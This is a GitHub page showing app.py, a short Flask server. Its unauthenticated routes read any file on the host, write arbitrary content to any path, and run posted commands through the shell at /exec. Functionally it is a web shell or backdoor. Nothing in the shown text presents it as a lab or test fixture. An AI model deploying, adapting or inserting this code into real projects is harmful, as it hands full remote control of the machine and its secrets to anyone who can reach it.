-
Notifications
You must be signed in to change notification settings - Fork 82
Expand file tree
/
Copy pathapp.py
More file actions
35 lines (22 loc) · 717 Bytes
/
app.py
File metadata and controls
35 lines (22 loc) · 717 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/env python
import subprocess
from flask import Flask, request
app = Flask(__name__)
@app.route('/<path:file_to_read>', methods=['GET'])
def read(file_to_read):
with open('/' + file_to_read, 'r') as f:
return f.read()
@app.route('/<path:file_to_write>', methods=['POST'])
def write(file_to_write):
content = request.values['content']
with open('/' + file_to_write, 'w') as f:
f.write(content)
return content
@app.route('/exec', methods=['POST'])
def exec():
command = [request.values['command']]
process = subprocess.run(command, shell=True, capture_output=True)
return process.stdout
@app.route('/health', methods=['GET'])
def health():
return 'OK'